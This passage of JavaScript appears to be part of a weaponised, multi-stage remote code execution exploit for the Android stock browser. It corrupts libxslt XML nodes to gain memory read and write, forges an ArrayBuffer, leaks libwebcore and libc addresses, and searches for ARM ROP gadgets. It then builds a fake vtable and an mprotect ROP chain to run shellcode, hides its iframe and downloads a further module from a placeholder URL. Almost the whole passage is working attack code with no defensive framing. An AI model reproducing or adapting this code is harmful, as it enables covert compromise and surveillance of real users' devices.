|  // Area available:  
|  // 0x3fff00 bytes starting at page.base \(~4MB\). Can't overwrite from
pagebase+0x0 to pagebase+0x7.  
|  // page is aligned to 0x1000  
|  
|  INFO\("> \[ Stage 2 \]"\);  
|  
|  var elementaddr = null;  
|  
|  if \(page.read\(base + 0x12 + 30\) \!== 0\) \{  
|  elementaddr = documentarea - 4;  
|  INFO\("Trashed XML\_ELEMENT\_NODE: " + elementaddr.toString\(16\)\);  
|  \}  
|  
|  for \(var i = 2; i <= 15; i++\) \{  
|  var ztbase = base + i \* 0x100;  
|  if \(page.read\(ztbase + 0x12 + 30\) \!== 0\) \{  
|  if \(elementaddr === null\) \{  
|  elementaddr = documentarea - i \* 4; // Exact address of the trashed
XML\_ELEMENT\_NODE  
|  INFO\("Trashed XML\_ELEMENT\_NODE: " + elementaddr.toString\(16\)\);  
|  \} else \{  
|  INFO\("WARNING: undefined data trashed"\);  
|  \}  
|  \}  
|  \}  
|  
|  // Create a new base and a document with that base  
|  
|  var newbase = base + 0x1100;  
|  
|  if \(\!page.in\_range\(base + 0x2000\)\) \{  
|  newbase = \(\(page.base & 0xffff0000\)>>>0\) + 0x10000 + 0x3000;  
|  INFO\(\(base + 0x2000\).toString\(16\) + " not in range\! reducing to " +
newbase.toString\(16\)\);  
|  \}  
|  
|  var iframe2 = document.createElement\("iframe"\);  
|  
|  if \(INVISIBLE === true\) \{  
|  iframe2.style.height = 0;  
|  iframe2.style.width = 0;  
|  iframe2.style.border = "none";  
|  \}  
|  
|  var src = "data.xml?id=" + base.toString\(\) + "&contentId=" + \(newbase +
0x44\).toString\(\);  
|  
|  iframe2.setAttribute\("src", src\);  
|  iframe2.onload = function \(\) \{  
|  // Execute the rest of stage2\(\)  
|  INFO\("Document loaded."\);  
|  var xml2 = iframe2.contentWindow.document;  
|  if \(xml2 === undefined\) \{  
|  ERR\("Cannot process source XML document"\);  
|  \}  
|  
|  var XSL = '<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
version="1.0" >' +  
|  '<xsl:template match="/\*">' +  
|  '<data>' +  
|  '<xsl:value-of select="generate-id\(\)" />' +  
|  '</data>' +  
|  '</xsl:template>' +  
|  '</xsl:stylesheet>';  
|  
|  var xsl = parseXML\(XSL\);  
|  
|  var processor = new XSLTProcessor\(\);  
|  processor.importStylesheet\(xsl\);  
|  var res = processor.transformToDocument\(xml2\);  
|  if \(res === undefined\) \{  
|  ERR\("Cannot process XML with generate-id stylesheet"\);  
|  \}  
|  
|  var id = res.getElementsByTagName\("data"\)\[0\];  
|  var firstid = id.childNodes\[0\].nodeValue;  
|  
|  INFO\(" first id: " + firstid\);  
|  
|  var documentarea = parseInt\(firstid.substring\(2\)\) \* 60;  
|  INFO\("documentarea: " + documentarea.toString\(16\)\);  
|  
|  // ADDED  
|  documentarea += 56;  
|  documentarea += 4;  
|  
|  // Spring cleaning  
|  for \(var i = 0; i < 0x1000/4; i++\) \{  
|  page.write\(newbase + i\*4, 0\);  
|  \}  
|  
|  // Prepare the layout for the second frame  
|  var layout = createstage1layout\(base, documentarea\);  
|  
|  // Ensure that modified memory locations are zeroed out  
|  layout.push\(\[base + 0x44 + 28, 0x0\]\);  
|  layout.push\(\[base + 0x70 + 24, 0x0\]\);  
|  for \(var i = 2; i <= 15; i++\) \{  
|  layout.push\(\[base + i \* 0x100 + 0x12 + 30, 0x0\]\);  
|  \}  
|  
|  // Connect the stage0 document to the stage 1 new elements  
|  // layout.push\(\[base + 0xfc8 + 24, newbase + 0x40\]\);  
|  
|  // add stage1 specific nodes  
|  var additions = \[  
|  \[newbase + 0x800 + 0, 0x006e7572\], // "run\0"  
|  
|  // run1: overwrite the node type with XML\_ELEMENT\_NODE  
|  \[newbase + 0x44 + 4, 0x1\], // run1->type = XML\_ELEMENT\_NODE  
|  \[newbase + 0x44 + 8, newbase + 0x800\], // run1->name = "run"  
|  \[newbase + 0x44 + 12, newbase + 0x80\], // run1->children =
DTDoverwritetype  
|  \[newbase + 0x44 + 24, newbase + 0xb0\], // run1->next = run2  
|  
|  // DTDoverwritetype  
|  \[newbase + 0x80 + 4, 14\], // DTDot->type = XML\_DTD\_NODE  
|  \[newbase + 0x80 + 28, elementaddr + 4 - 24\], // DTDot->prev =
trashed->type - offset\(next\)  
|  \[newbase + 0x80 + 24, newbase + 0x1\], // DTDot->next = node01  
|  
|  // node01  
|  \[newbase + 0x1 + 3, \[0x0, 3\]\], // node01->type = XML\_TEXT\_NODE  
|  
|  // run2  
|  \[newbase + 0xb0 + 4, 0x1\], // run2->type = XML\_ELEMENT\_NODE  
|  \[newbase + 0xb0 + 8, newbase + 0x800\], // run2->name = "run"  
|  \[newbase + 0xb0 + 12, newbase + 0xf0\], // run2->children = DTDcleartype  
|  \[newbase + 0xb0 + 24, newbase + 0x130\], // run2->next = run3  
|  
|  // DTDcleartype  
|  \[newbase + 0xf0 + 4, 14\], // DTDct->type = XML\_DTD\_NODE  
|  \[newbase + 0xf0 + 28, elementaddr + 5 - 24\], // DTDct->prev =
trashed->type - offset\(next\)  
|  \[newbase + 0xf0 + 24, 0x0\], // DTDct->next = 0 \(ensure\)  
|  
|  // run3  
|  \[newbase + 0x130 + 4, 1\], // run3->type = XML\_ELEMENT\_NODE  
|  \[newbase + 0x130 + 8, newbase + 0x800\], // run3->name = "run"  
|  \[newbase + 0x130 + 12, newbase + 0x170\], // run3->children =
DTDoverwritechildren  
|  \[newbase + 0x130 + 24, newbase + 0x1a0\], // run3->next = run4  
|  
|  // DTDoverwritechildren  
|  \[newbase + 0x170 + 4, 14\], // DTDoc->type = XML\_DTD\_NODE  
|  \[newbase + 0x170 + 24, page.base + 0x1000\], // DTDoc->next = new children
node  
|  \[newbase + 0x170 + 28, elementaddr + 12 - 24\], // DTDoc->prev =
trashed->children - offset\(next\)  
|  
|  // run4  
|  \[newbase + 0x1a0 + 4, 1\], // run4->type = XML\_ELEMENT\_NODE  
|  \[newbase + 0x1a0 + 8, newbase + 0x800\], // run4->name = "run"  
|  \[newbase + 0x1a0 + 12, newbase + 0x200\], // run4->children =
DTDoverwritename  
|  \[newbase + 0x1a0 + 24, base + 0x44\], // run4->next = link to stage 1
layout \(->next\)  
|  
|  // DTDoverwritename  
|  \[newbase + 0x200 + 4, 14\], // DTDoc->type = XML\_DTD\_NODE  
|  \[newbase + 0x200 + 24, page.base + 0x2000\], // DTDoc->next = new name  
|  \[newbase + 0x200 + 28, elementaddr + 8 - 24\], // DTDoc->prev =
trashed->name - offset\(next\)  
|  
|  // Ensure that the new children node is 0  
|  \[page.base + 0x1000 + 4, 3\], // type = XML\_TEXT\_NODE  
|  \[page.base + 0x1000 + 24, 0\], // next  
|  \[page.base + 0x1000 + 20, 0\], // parent  
|  \[page.base + 0x1000 + 28, 0\], // prev  
|  \[page.base + 0x1000 + 40, 0\], // content  
|  \[page.base + 0x1000 + 44, 0\], // properties  
|  
|  // Ensure that the new name is 0  
|  \[page.base + 0x2000 + 4, 3\], // type = XML\_TEXT\_NODE  
|  \[page.base + 0x2000 + 24, 0\], // next  
|  \[page.base + 0x2000 + 20, 0\], // parent  
|  \[page.base + 0x2000 + 28, 0\], // prev  
|  \[page.base + 0x2000 + 40, 0\], // content  
|  \[page.base + 0x2000 + 44, 0\], // properties  
|  
|  \];  
|  
|  layout.push.apply\(layout, additions\);  
|  page.apply\_layout\(layout\);  
|  
|  INFO\("Stage2 layout applied."\);  
|  
|  XSL = '<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
version="1.0" >' +  
|  '<xsl:template match="run">' +  
|  ' <xsl:apply-templates/>' +  
|  '</xsl:template>' +  
|  '<xsl:template match="ztX">' +  
|  ' <xsl:if test="text\(\)=ELZ">' +  
|  ' <xsl:apply-templates/>' +  
|  ' <xsl:message terminate="yes"/>' +  
|  ' </xsl:if>' +  
|  '</xsl:template>' +  
|  '<xsl:template match="/\*">' +  
|  ' <xsl:for-each select="namespace::\*">' +  
|  ' <xsl:if test="position\(\) = 2">' +  
|  ' <xsl:apply-templates />' +  
|  ' </xsl:if>' +  
|  ' </xsl:for-each>' +  
|  '</xsl:template>' +  
|  '</xsl:stylesheet>';  
|  
|  xsl = parseXML\(XSL\);  
|  processor = new XSLTProcessor\(\);  
|  processor.importStylesheet\(xsl\);  
|  var result = processor.transformToDocument\(xml2\);  
|  
|  // Search the second document address  
|  
|  // XXX this is copy-pasted from above, might want to make a function  
|  var secondelementaddr = null;  
|  
|  if \(page.read\(base + 0x12 + 30\) \!== 0\) \{  
|  secondelementaddr = documentarea - 4;  
|  INFO\("Second trashed \(1\) XML\_ELEMENT\_NODE: " +
secondelementaddr.toString\(16\)\);  
|  if \(ENABLE\_DEBUG\) \{  
|  INFO\("base + 0x12 + 30 = " + hex\(page.read\(base + 0x12 + 30\), 8\)\);  
|  \}  
|  \}  
|  
|  for \(var i = 2; i <= 15; i++\) \{  
|  var ztbase = base + i \* 0x100;  
|  if \(page.read\(ztbase + 0x12 + 30\) \!== 0\) \{  
|  if \(secondelementaddr === null\) \{  
|  secondelementaddr = documentarea - i \* 4; // Exact address of the trashed
XML\_ELEMENT\_NODE  
|  INFO\("Second trashed \(loop " + i + "\) XML\_ELEMENT\_NODE: " +
secondelementaddr.toString\(16\)\);  
|  \} else \{  
|  INFO\("WARNING: undefined data trashed " + hex\(documentarea - i\*4\)\);  
|  \}  
|  \}  
|  \}  
|  
|  var xsltobj = new XSLTObject\(  
|  page, page.base + 0x1000,  
|  page.base + 0x2000, elementaddr, xml  
|  \);  
|  
|  // Perform a MemoryObject sanity check. Set and retrieve the document name.  
|  var dname = "myawesomedocument";  
|  xsltobj.set\_root\_name\(dname\);  
|  var gname = xsltobj.get\_root\_name\(\);  
|  if \(gname \!= dname\) \{  
|  ERR\("MemoryObject sanity check failed\! " + gname\);  
|  \}  
|  
|  INFO\("MemoryObject created successfully."\);  
|  
|  // Leak a libwebcore.so string  
|  var children = xsltobj.read32\(secondelementaddr + 12\);  
|  var webcoretext = xsltobj.read32\(children + 8\);  
|  INFO\("Leaked webcore address: " + webcoretext.toString\(16\)\);  
|  
|  // Dispose of the second element  
|  xsltobj.zero\(secondelementaddr + 8\);  
|  xsltobj.zero\(secondelementaddr + 12\);  
|  xsltobj.zero\(secondelementaddr + 40\);  
|  
|  stage2\_overwrite\(xsltobj, page, webcoretext\);  
|  
|  return;  
|  \};  
|  
|  document.body.appendChild\(iframe2\);  
|  
|  INFO\("Starting module download ..."\);  
|  var req = new XMLHttpRequest\(\);  
|  // CHANGE MODULE NAME  
|  req.open\("GET", "$\{B\_MODULE\_REF\}", true\);  
|  req.responseType = "arraybuffer";  
|  req.onreadystatechange = function\(e\) \{  
|  if \(req.readyState == 4\) \{  
|  if \(req.status == 200\) \{  
|  var content = req.response;  
|  
|  if \(content\) \{  
|  INFO\("Module downloaded. " + typeof\(content\)\);  
|  window\['g\_module'\] = new DataView\(content\);  
|  \} else \{  
|  INFO\("Could not download module"\);  
|  \}  
|  \} else \{  
|  window\['g\_module'\] = null;  
|  INFO\("Could not download module: server returned status " + req.status\);  
|  \}  
|  \}  
|  \};  
|  req.send\(null\);  
|  
|  
| \}  
|  
| function stage2\_overwrite\(xsltobj, page, webcoretext\) \{  
|  
|  var addr = page.base + 0x3000;  
|  var nobj = 0;  
|  var i;  
|  
|  for \(var cur = addr; cur < addr + 0x1000; cur += 0x40\) \{  
|  page.write\(cur - 4, 16 | 3\);  
|  page.write\(cur + 4, 0x900d\);  
|  page.write\(cur + 16 - 4, \(addr + 0x2000 | 3\)\); // lines up with \*children  
|  // so it needs to point to a DTD\_NODE  
|  page.write\(cur + 24, cur + 0x40\);  
|  nobj += 1;  
|  \}  
|  
|  page.write\(cur - 0x40 + 24, 0x0\);  
|  page.write\(addr + 0x2004, \[0x00, 0x00, 0x00, 14\]\); // DTD\_NODE  
|  
|  xsltobj.free\(addr\);  
|  INFO\("Array free\(\) done. Addr = " + hex\(addr\) + " Cur = " +
hex\(cur\)\);  
|  
|  var arrays = \[\];  
|  
|  for \(i = 0; i < nobj \* 3; i++\) \{  
|  arrays.push\(new ArrayBuffer\(0xbad\)\);  
|  \}  
|  
|  for \(var cur = addr; cur < addr + 0x1000; cur += 0x40\) \{  
|  if \(page.read\(cur + 4\) == 0xbad\) \{  
|  page.write\(cur + 4, 0xffffffff\);  
|  page.write\(cur + 8, 0x0\);  
|  INFO\("Overwrite ArrayBuffer @" + cur.toString\(16\)\);  
|  break;  
|  \}  
|  
|  \}  
|  
|  var buffer = null;  
|  for \(i in arrays\) \{  
|  if \(arrays\[i\].byteLength \!= 0xbad\) \{  
|  INFO\("arrays\[" + i + "\].byteLength = " +
arrays\[i\].byteLength.toString\(16\)\);  
|  buffer = arrays\[i\];  
|  INFO\("Found array \(position: " + i + "\)"\);  
|  trk \*= arrays\[i\].byteLength; // trk \*= -1; trk = -0x44  
|  break;  
|  \}  
|  \}  
|  
|  if \(buffer === null\) \{  
|  ERR\("ArrayBuffer not found. The browser will most likely crash when the
current tab is closed."\);  
|  \}  
|  var memobj = new BufferMemoryObject\(buffer\);  
|  
|  // Prevent dlfree\(\) from unmapping the current page. It will stay mapped  
|  // until the browser is closed.  
|  memobj.write32\(page.base, 0x12ffffff, true\);  
|  
|  var nnodes = 0;  
|  for \(cur = addr + 0x1000; cur < addr + 0x1ff0; cur += 0x40\) \{  
|  page.write\(cur - 4, 48 | 3\);  
|  page.write\(cur + 4, 0x900d\);  
|  page.write\(cur + 48 - 4, \(addr + 0x2000 | 3\)\);  
|  page.write\(cur + 24, cur + 0x40\);  
|  nnodes += 1;  
|  \}  
|  
|  page.write\(cur - 0x40 + 24, 0x0\);  
|  
|  xsltobj.free\(addr + 0x1000\);  
|  INFO\("Node free\(\) done"\);  
|  
|  var nodes = \[\];  
|  for \(i = 0; i < nnodes \* 3; i++\) \{  
|  nodes.push\(document.createTextNode\("hello" + i\)\);  
|  \}  
|  
|  // regular: size 0x33, type offset 36, string offset 40  
|  
|  function find\_node\_30\(start, end, increment\) \{  
|  var nodeaddr = null;  
|  var node = null;  
|  
|  for \(var cur = start; cur < end; cur += increment\) \{  
|  if \(\(memobj.read32\(cur - 4\) == 0x33\) && \(memobj.read32\(cur + 36\) ==
0x580001\)\) \{  
|  INFO\("Overwrite WebCore::Text @ " + cur.toString\(16\)\);  
|  nodeaddr = cur;  
|  var m\_data = memobj.read32\(cur + 40\);  
|  var stringdata = memobj.read32\(m\_data + 8\);  
|  memobj.write8\(stringdata, "W".charCodeAt\(0\)\);  
|  var vtable = memobj.read32\(cur\);  
|  break;  
|  \}  
|  \}  
|  
|  for \(var i in nodes\) \{  
|  if \(nodes\[i\].nodeValue.slice\(0, 1\) == "W"\) \{  
|  INFO\("Found node \(position: " + i + "\)"\);  
|  node = nodes\[i\];  
|  break;  
|  \}  
|  \}  
|  
|  if \(node === null || nodeaddr === null\) \{  
|  return null;  
|  \}  
|  
|  return \{obj:node, addr:nodeaddr, dataoffset:40\};  
|  \}  
|  
|  // htc: size 0x43, type offset 40, string offset 52  
|  // huawei: size 0x43, type offset 36, string offset 48  
|  
|  // HUAWEI Y530  
|  // 7a60014c: 00000043 53937b88 53937d1c 00000001  
|  // 7a60015c: 00000000 57030728 570b6318 00000000  
|  // 7a60016c: 00000000 00000000 00580001 00000000  
|  // 7a60017c: 00000000 7a6001a0 00000000 00000040  
|  // 7a60018c: 7a600003 00000000 00000000 00000000  
|  // 7a60019c: 0000002b 00000110 00000007 7a6001b4  
|  
|  // HTC One  
|  // 7a3832dc: 00000043 6ad64188 6ad64334 00000001  
|  // 7a3832ec: 00000000 70dd8058 6ee7bb00 00000000  
|  // 7a3832fc: 00000000 00000000 00000000 00580001  
|  // 7a38330c: 00000000 00000000 7a383330 00000000  
|  // 7a38331c: 7a383003 00000000 00000000 00000000  
|  // 7a38332c: 0000002b 00000110 00000007 7a383344  
|  
|  
|  function find\_node\_40\(start, end, increment\) \{  
|  var nodeaddr = null;  
|  var node = null;  
|  
|  var dataoffset = null;  
|  
|  for \(var cur = start; cur < end; cur += increment\) \{  
|  if \(memobj.read32\(cur - 4\) == 0x43\) \{  
|  for \(var i = 0; i < 0x10; i++\) \{  
|  var value = memobj.read32\(cur + i \* 4\);  
|  if \(value == 0x580001\) \{  
|  dataoffset = \(i \* 4\) + 12;  
|  
|  INFO\("Overwrite WebCore::Text @ " + hex\(cur\)\);  
|  nodeaddr = cur;  
|  var m\_data = memobj.read32\(cur + dataoffset\);  
|  
|  if \(m\_data < 0x10000\) \{  
|  INFO\("find\_node\_40: Invalid data value for text node: " + hex\(m\_data,
8\) +  
|  " \(type offset: " + i\*4 + ", dataoffset: " + dataoffset\);  
|  return null;  
|  \}  
|  var stringdata = memobj.read32\(m\_data + 8\);  
|  memobj.write8\(stringdata, "W".charCodeAt\(0\)\);  
|  var vtable = memobj.read32\(cur\);  
|  break;  
|  \}  
|  \}  
|  break;  
|  \}  
|  \}  
|  
|  for \(var i in nodes\) \{  
|  if \(nodes\[i\].nodeValue.slice\(0, 1\) == "W"\) \{  
|  INFO\("Found node \(position: " + i + "\)"\);  
|  node = nodes\[i\];  
|  break;  
|  \}  
|  \}  
|  
|  if \(node === null || addr === null\) \{  
|  return null;  
|  \}  
|  
|  return \{obj:node, addr:nodeaddr, dataoffset:dataoffset\};  
|  \}  
|  
|  var node = find\_node\_30\(addr + 0x1000, addr + 0x2000, 0x40\);  
|  
|  if \(node === null\) \{  
|  INFO\("Node not found. Trying the alternate node data structure"\);  
|  
|  // Some Android 4.3 versions have a different text node data structure
which is 0x40 bytes long.  
|  
|  nnodes = 0;  
|  for \(cur = addr + 0x2100; cur < addr + 0x3000; cur += 0x50\) \{  
|  page.write\(cur - 4, 0x40 | 3\);  
|  page.write\(cur + 4, 0x900d\);  
|  page.write\(cur + 24, cur + 0x50\);  
|  page.write\(cur + 0x40 - 4, \(addr + 0x2000 | 3\)\);  
|  nnodes += 1;  
|  \}  
|  
|  page.write\(cur - 0x50 + 24, 0x0\);  
|  
|  xsltobj.free\(addr + 0x2100\);  
|  INFO\("Retry node free\(\) done"\);  
|  
|  nodes = \[\];  
|  for \(i = 0; i < nnodes \* 3; i++\) \{  
|  nodes.push\(document.createTextNode\("hello" + i\)\);  
|  \}  
|  
|  node = find\_node\_40\(addr + 0x2100, addr + 0x3000, 0x50\);  
|  \}  
|  
|  xsltobj.terminate\(\);  
|  INFO\("xsltobject removed"\);  
|  
|  // From now on the browser won't crash if the tab is closed  
|  
|  if \(node === null\) \{  
|  if \(ENABLE\_DEBUG\) \{  
|  INFO\("The overwritten node object could not be found"\);  
|  
|  INFO\(" "\);  
|  INFO\("\-------- EXPLOIT ERROR -- DEBUG DUMP --------"\);  
|  INFO\(" "\);  
|  for \(var cur = addr + 0x1000; cur < addr + 0x2000; cur += 0x40\) \{  
|  for \(var ca = cur - 4; ca < cur + 0x40; ca +=16\) \{  
|  INFO\(hex\(ca, 8\) + ": " + hex\(memobj.read32\(ca\), 8\) + " " +  
|  hex\(memobj.read32\(ca+4\), 8\) + " " +  
|  hex\(memobj.read32\(ca+8\), 8\) + " " +  
|  hex\(memobj.read32\(ca+12\), 8\)\);  
|  \}  
|  
|  INFO\(" "\);  
|  \}  
|  INFO\("\---------------------------------------------"\);  
|  
|  for \(var cur = addr + 0x2100; cur < addr + 0x3000; cur += 0x50\) \{  
|  for \(var ca = cur - 4; ca < cur + 0x50; ca +=16\) \{  
|  INFO\(hex\(ca, 8\) + ": " + hex\(memobj.read32\(ca\), 8\) + " " +  
|  hex\(memobj.read32\(ca+4\), 8\) + " " +  
|  hex\(memobj.read32\(ca+8\), 8\) + " " +  
|  hex\(memobj.read32\(ca+12\), 8\)\);  
|  \}  
|  
|  INFO\(" "\);  
|  \}  
|  
|  INFO\("\---------------------------------------------"\);  
|  \}  
|  
|  ERR\("The overwritten node object could not be found"\);  
|  \}  
|  
|  stage3\(memobj, webcoretext, node, addr, page\);  
|  
| \}  
|  
| // \[ Stage 3 \]
-------------------------------------------------------------- //  
|  
| // Callstub to be filled at compile time  
| var CALLSTUB = $\{C\_CALLSTUB\};  
|  
| function stage3 \(memobj, webcoretext, node, addr, page\) \{  
|  INFO\("> \[ Stage 3 \]"\);  
|  
|  // Find libwebcore.so ELF header  
|  var webcore\_base = memobj.findimagebase\(webcoretext\);  
|  INFO\("Found libwebcore.so imagebase: " + webcore\_base.toString\(16\)\);  
|  
|  var libwebcore = new ELFObject\(webcore\_base, memobj\);  
|  
|  var fopen = libwebcore.findreloc\("fopen"\);  
|  INFO\("fopen address = " + fopen.toString\(16\)\);  
|  
|  // Find libc base address  
|  var libcbase = memobj.findimagebase\(fopen\);  
|  INFO\("libc base address: " + libcbase.toString\(16\)\);  
|  var libc = new ELFObject\(libcbase, memobj\);  
|  
|  
|  // \[ Gadget search \] ----------------------------------------------------
//  
|  
|  INFO\("Searching gadgets ..."\);  
|  
|  var gadgets = \{\};  
|  
|  // Gadget 2 in libc  
|  
|  // BD 46 MOV SP, R7  
|  // BD E8 B0 40 POP.W \{R4,R5,R7,LR\}  
|  // 03 B0 ADD SP, SP, \#0xC  
|  // 70 47 BX LR  
|  
|  gadgets.ggt2 = \{addr: libc.findstring\(  
|  "\u46bd\ue8bd\u40b0\ub003\u4770", node  
|  \)\};  
|  
|  if \(gadgets.ggt2.addr === null\) \{  
|  INFO\("Gadget 2 not found: trying alternate chain"\);  
|  stage3\_alternate\(memobj, node, addr, page, libwebcore, libc\);  
|  return;  
|  \}  
|  
|  check\_gadgets\(gadgets\);  
|  
|  // Gadget 1 \(in libwebcore\)  
|  
|  // 07 68 LDR R7, \[R0\]  
|  // ? ? LDR R\{reg\}, \[R7,\#\{disp\}\]  
|  // ? 47 BLX R\{reg\}  
|  
|  gadgets.ggt1 = gadget1\_fastheur\(libwebcore, node\);  
|  
|  if \(gadgets.ggt1 === null\) \{  
|  INFO\("fastheur failed"\);  
|  gadgets.ggt1 = gadget1\_slowsearch\(libwebcore, memobj, node\);  
|  \} else \{  
|  INFO\("Found Gadget 1 via fastheur"\);  
|  \}  
|  
|  check\_gadgets\(gadgets\);  
|  
|  // 61 60 STR R1, \[R4,\#4\]  
|  // 10 BD POP \{R4,PC\}  
|  
|  gadgets.str\_r1\_r4 = \{addr: libc.findstring\(  
|  "\u6061\ubd10", node  
|  \), disp: 4\};  
|  
|  if \(gadgets.str\_r1\_r4.addr === null\) \{  
|  // Alternate gadget  
|  
|  // 21 60 STR R1, \[R4\]  
|  // 10 BD POP \{R4,PC\}  
|  
|  gadgets.str\_r1\_r4 = \{addr: libc.findstring\(  
|  "\u6021\ubd10", node  
|  \), disp: 0\};  
|  \}  
|  
|  // If the libc search did not succeed try libwebcore  
|  
|  if \(gadgets.str\_r1\_r4.addr === null\) \{  
|  gadgets.str\_r1\_r4 = \{addr: libwebcore.findstring\(  
|  "\u6021\ubd10", node  
|  \), disp: 0\};  
|  \}  
|  
|  if \(gadgets.str\_r1\_r4.addr === null\) \{  
|  gadgets.str\_r1\_r4 = \{addr: libwebcore.findstring\(  
|  "\u6061\ubd10", node  
|  \), disp: 4\};  
|  \}  
|  
|  check\_gadgets\(gadgets\);  
|  
|  // 01 80 BD E8 LDMFD SP\!, \{R0,PC\}  
|  gadgets.pop\_r0\_pc = \{addr: libc.findstring\(  
|  "\u8001\ue8bd", node  
|  \)\};  
|  
|  check\_gadgets\(gadgets\);  
|  
|  // 3E BD POP \{R1-R5,PC\}  
|  gadgets.pop\_r1\_\_r5\_pc = \{addr: libc.findstring\(  
|  "\ubd3e", node  
|  \)\};  
|  
|  check\_gadgets\(gadgets\);  
|  
|  INFO\("\--- Gadget search completed --- "\);  
|  
|  if \(ENABLE\_DEBUG\) \{  
|  for \(var name in gadgets\) \{  
|  var extra = "";  
|  for \(var attr in gadgets\[name\]\) \{  
|  if \(attr \!= "addr"\) \{  
|  extra += attr + ": " + gadgets\[name\]\[attr\] + " ";  
|  \}  
|  \}  
|  if \(extra \!== ""\) \{  
|  extra = "\[ " + extra + "\]";  
|  \}  
|  INFO\(" " + hex\(gadgets\[name\].addr, 8\) + " " + name + " " + extra\);  
|  \}  
|  \}  
|  
|  // Create a fake vtable @ addr + 0x8000, fill it with gadget1  
|  var fakevtable = addr + 0x8000;  
|  for \(var j = 0; j < 94; j++\) \{  
|  memobj.write32\(fakevtable + j \* 4, gadgets.ggt1.addr + 1\);  
|  // memobj.write32\(fakevtable + j \* 4, 0x40404040\);  
|  \}  
|  
|  memobj.write32\(fakevtable + 0, 0xba434343\); // R4  
|  memobj.write32\(fakevtable + 4, 0xba444444\); // R5  
|  memobj.write32\(fakevtable + 8, addr + 0x8400\); // R7 final ROP stack  
|  memobj.write32\(fakevtable + 12, gadgets.ggt2.addr + 1\); // LR  
|  
|  // Create a chain to ggt2  
|  memobj.write32\(fakevtable + gadgets.ggt1.disp, gadgets.ggt2.addr + 1\);  
|  
|  // \[ Final ROP Stack \]
---------------------------------------------------- //  
|  
|  var mprotect = libc.findsymbol\("mprotect"\);  
|  INFO\("mprotect address: " + hex\(mprotect\)\);  
|  
|  INFO\("Stack will be written in " + hex\(addr + 0x8300 +
gadgets.str\_r1\_r4.disp\)\);  
|  
|  var ropstack = addr + 0x8400;  
|  
|  var shellcode\_addr = addr + 0xa000;  
|  
|  var ropstack\_content = \[  
|  addr + 0x8300, // R4 -- R1 will be copied here  
|  0xdeadbee5, // R5  
|  0xdeadbee7, // R7  
|  gadgets.str\_r1\_r4.addr + 1, // LR  
|  
|  0xdeadbee0, // compensate for add sp, sp, \#0xc in ggt2  
|  0xdeadbee4,  
|  0xdeadbee8,  
|  
|  0xdeadbee4, // R4  
|  gadgets.pop\_r0\_pc.addr, // PC  
|  
|  page.base, // R0 -- addr  
|  gadgets.pop\_r1\_\_r5\_pc.addr + 1, // PC  
|  
|  page.size - 0x100, // R1 -- size  
|  7, // R2 -- PROT\_READ | PROT\_WRITE | PROT\_EXEC  
|  0, // R3  
|  ropstack + 4, // R4 \(trash values on this stack\)  
|  0, // R5  
|  mprotect, // PC mprotect will return to lr \(str\_r1\_r4, set by ggt2\)  
|  // so R4 will need to be set to a dummy writable memory address  
|  
|  0, // R4  
|  shellcode\_addr, // PC  
|  \];  
|  
|  for \(var i in ropstack\_content\) \{  
|  memobj.write32\(ropstack + i\*4, ropstack\_content\[i\]\);  
|  \}  
|  
|  // \[ Call stub \]
------------------------------------------------------------ //  
|  
|  // Setup structfn where to store parameters, function addresses and return
values  
|  
|  var structfn = addr + 0x6000  
|  memobj.write32\(structfn + 0, 0\);  
|  memobj.write32\(structfn + 4, 0\);  
|  memobj.write32\(structfn + 8, 0\);  
|  memobj.write32\(structfn + 12, 0\);  
|  memobj.write32\(structfn + 16, 0\);  
|  memobj.write32\(structfn + 20, 0\);  
|  memobj.write32\(structfn + 24, 0\);  
|  memobj.write32\(structfn + 28, 0\);  
|  
|  for \(var i = 0; i < CALLSTUB.length; i++\) \{  
|  memobj.write8\(shellcode\_addr + i, CALLSTUB\[i\]\);  
|  \}  
|  
|  // Check if this is one of those lucky phones that have a  
|  // SEPARATE v8 library  
|  var v8start = libwebcore.addr;  
|  var v8end = libwebcore.addr + libwebcore.size  
|  
|  var v8enter = libwebcore.findreloc\("\_ZN2v87Context5EnterEv"\);  
|  if \(v8enter \!== null\) \{  
|  INFO\("v8 is separate from libwebcore. Adjusting checks..."\);  
|  var v8 = memobj.findimagebase\(v8enter\);  
|  v8 = new ELFObject\(v8, memobj\);  
|  v8start = v8.addr;  
|  v8end = v8.addr + v8.size;  
|  \}  
|  
|  // Fill the variable shellcode words  
|  for \(var i = 0; i < CALLSTUB.length/4; i++\) \{  
|  switch \(memobj.read32\(shellcode\_addr + i\*4\)\) \{  
|  case 0xbadadd00:  
|  memobj.write32\(shellcode\_addr + i\*4, addr + 0x8300 +
gadgets.str\_r1\_r4.disp\);  
|  break;  
|  case 0xbadadd01:  
|  memobj.write32\(shellcode\_addr + i\*4, libwebcore.addr\);  
|  break;  
|  case 0xbadadd02:  
|  memobj.write32\(shellcode\_addr + i\*4, libwebcore.addr +
libwebcore.size\);  
|  break;  
|  case 0xbadadd03:  
|  memobj.write32\(shellcode\_addr + i\*4, v8start\);  
|  break;  
|  case 0xbadadd04:  
|  memobj.write32\(shellcode\_addr + i\*4, v8end\);  
|  break;  
|  case 0xbadadd05:  
|  memobj.write32\(shellcode\_addr + i\*4, structfn\);  
|  break;  
|  case 0xbadadd06:  
|  memobj.write32\(shellcode\_addr + i\*4, 0\);  
|  break;  
|  \}  
|  \}  
|  
|  var vtable = memobj.read32\(node.addr\);  
|  
|  // PC control \(arbitrary address\)  
|  // Replace the vtable  
|  memobj.write32\(node.addr, fakevtable\);  
|  
|  // Call the function \(yes this is a function call\)  
|  node.obj.nodeValue = "x";  
|  
|  // Put the vtable down, NAO  
|  memobj.write32\(node.addr, vtable\);  
|  
|  INFO\("Got out of function call. Building RCECall"\);  
|  
|  var result = memobj.read32\(structfn\);  
|  memobj.write32\(structfn, 0x0\);  
|  
|  var rce = new RCE\(memobj, node, structfn, shellcode\_addr, fakevtable\);  
|  
|  trk \*= result;  
|  
|  download\_stage4\(memobj, rce, libc, libwebcore, addr, trk\);  
|  
|  //
-------------------------------------------------------------------------- //  
|  
|  
| \}  
|  
| function check\_gadgets\(gadgets\) \{  
|  for \(var name in gadgets\) \{  
|  if \(gadgets\[name\] === null || gadgets\[name\].addr === null\) \{  
|  ERR\("Cannot find gadget: " + name\);  
|  \}  
|  \}  
| \}  
|  
| function gadget1\_fastheur\(libwebcore, node\) \{  
|  // 6807 LDR R7, \[R0\]  
|  // 687d LDR R5, \[R7, \#0x4\]  
|  // 47a8 BLX R5  
|  
